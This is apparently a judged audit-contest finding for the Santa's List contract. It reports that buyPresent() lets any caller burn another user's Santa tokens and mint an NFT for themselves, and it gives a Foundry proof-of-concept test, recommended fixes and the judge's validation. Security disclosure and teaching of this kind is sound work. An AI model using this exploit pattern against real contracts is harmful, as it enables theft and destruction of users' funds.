Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Incorrect logic buyPresent() results in burning of someone's tokens

Summary

Function buyPresent() works incorrectly and allows anyone to burn anyone's tokens without permission.

Vulnerability Details

A user can frame someone's address and burn their Santa tokens. See below:

function testBuyPresentMalfunction() public {
// Santa sets the status of user to EXTRA NICE
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
// Setting the time after Christmas
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
// Let the user to collect his present.
// As the user is EXTRA NICE he should get both ERC20 Santa tokens and NFT
vm.startPrank(user);
santasList.collectPresent();
assertEq(santaToken.balanceOf(user), 1e18);
assertEq(santasList.balanceOf(user), 1);
vm.stopPrank();
// An attacker wants burn someone else's tokens
// and mint NFT for himself
vm.startPrank(attacker);
assertEq(santasList.balanceOf(attacker), 0);
// Call of buyPresent() helps the attacker to reach his goal
santasList.buyPresent(user);
assertEq(santasList.balanceOf(user), 1); // NFT is generated for the user as well...
assertEq(santaToken.balanceOf(user), 0); // But his Santa tokens have been burned.
assertEq(santasList.balanceOf(attacker), 1); // Attacker mints Santa's NFT for himself
vm.stopPrank();
}

Impact

High. The implementation of the function and the ease of intentional or unintentional manipulation leads to a mess of user balances.

Tools Used

Manual check.

Recommendations

  • msg.sender should only be able to burn their own tokens

  • Consider to use PURCHASED_PRESENT_COST for buying

Updates

Lead Judging Commences

inallhonesty Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

buyPresent should use msg.sender

Current implementation allows a malicious actor to burn someone else's tokens as the burn function doesn't actually check for approvals.

Price is not enforced in buyPresent

This line indicates that the intended cost of presents for naughty people should be 2e18: https://github.com/Cyfrin/2023-11-Santas-List/blob/6627a6387adab89ae2ba2e82b38296723261c08a/src/SantasList.sol#L87 PURCHASE_PRESENT_COST should be implemented to enforce the cost of presents.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.